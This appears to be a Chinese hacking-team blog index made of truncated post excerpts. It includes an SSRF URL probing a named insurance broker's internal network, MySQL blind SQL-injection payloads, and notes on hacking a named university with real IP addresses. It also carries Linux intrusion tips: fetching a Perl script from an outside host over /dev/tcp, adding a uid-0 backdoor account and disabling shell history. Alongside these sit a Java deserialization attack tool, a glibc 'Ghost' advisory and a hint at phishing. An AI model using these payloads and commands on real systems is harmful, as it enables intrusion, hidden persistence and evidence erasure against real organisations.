14x Security Team

江泰保险经纪股份有限公司某站Weblogic SSRF漏洞可探测内网http://bms.jiangtai.com/uddiexplorer//SearchPublicRegistries.jsp?operator=http://localhost:29001&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&...

准备重新开放博客访问http://www.x14hack.com/Index.html准备重新开放博客访问欢迎大家关注，谢谢...

Java反序列化终极测试工具在java编写的web应用与web服务器间java通常会发送大量的序列化对象例如以下场景：HTTP请求中的参数，cookies以及Parameters。RMI协议，被广泛使用的RMI协议完全基于序列化JMX 同样用于处理序列化对象自定义协议 用来接收与发送原始的java对象在序列化过程中会使用ObjectOutputStream类的writeObject()方法1、本地命令执行并回显，无须加载外部jar包，支持纯内网环境检测。2、支持JBoss、W...

关于GNU glibc函数库存在缓冲区溢出高危漏洞CNVD收录了GNU glibc‘__nss_hostname_digits_dots()’函数存在的一个缓冲区溢出漏洞（CNVD-2015-00719，对应CVE- 2015-0235），互联网上称“Ghost”幽灵漏洞。经过对多个Linux操作系统的本地实例测试，成功利用该漏洞可以当前用户权限执行任意代码， 进而控制操作系统主机。CNVD组织成员单位开展的进一步测试分析，认为该漏洞影响虽然较为广泛，但从目前披露的利...

接口的引入式攻击设想对于逻辑参数过滤不严可进行接口的引入攻击那么这个原理基于认证基础的.\ .\ ,可测试XSS的相关漏洞，也是相对的原理那么接口的漏洞，一般就与认证有关，就是认证当前用户，以及认证当前的状态等等一个设想的例子，存在逻辑漏洞的页面： 这里就好比www.xxx.com/inc/reset?id=1其中的reset是那么提交会超时。那么接口漏洞还有一点接收用户输入的判断，以便存放于cookie页面的状态那么相关代码如：简单的判断而已在字符串Str接收的参数，可用于...

一台美国服务器 ...

 mysql盲注常用语句 http://www.2cto.com /tmd.php?id=352&wsid=1/**/and/**/(1,1)%3E(select/**/count(*),concat((select/**/@@version/**/),0x3a,floor(rand()*2))/**/x/**/from/**/(select/**/1/**/union/**/select/**/2)/**/a/**/group/**/by/**/x/*...

友情目标：四川师范大学文理学院未深入.简单玩玩===================================、规则：静态。。 jsp二级域名下有很多动态~~125.71.200.234http://125.71.200.244/ConfigWeb%5CIndex.aspxGUID 应包含带 4 个短划线的 32 位数(xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)。 过滤了先分析下，不用急着C段http://zfx.scnucas.com/...

Linux渗透爱好者的小技巧1.无wget nc等下载工具时下载文件exec 5<>/dev/tcp/yese.yi.org/80 &&echo -e "GET /c.pl HTTP/1.0\n" >&5 && cat<&5 > c.pl2.Linux添加uid为0的用户useradd -o -u 0 cnbird3.bash去掉history记录export HISTSIZE=...

其实这样也可以钓鱼的...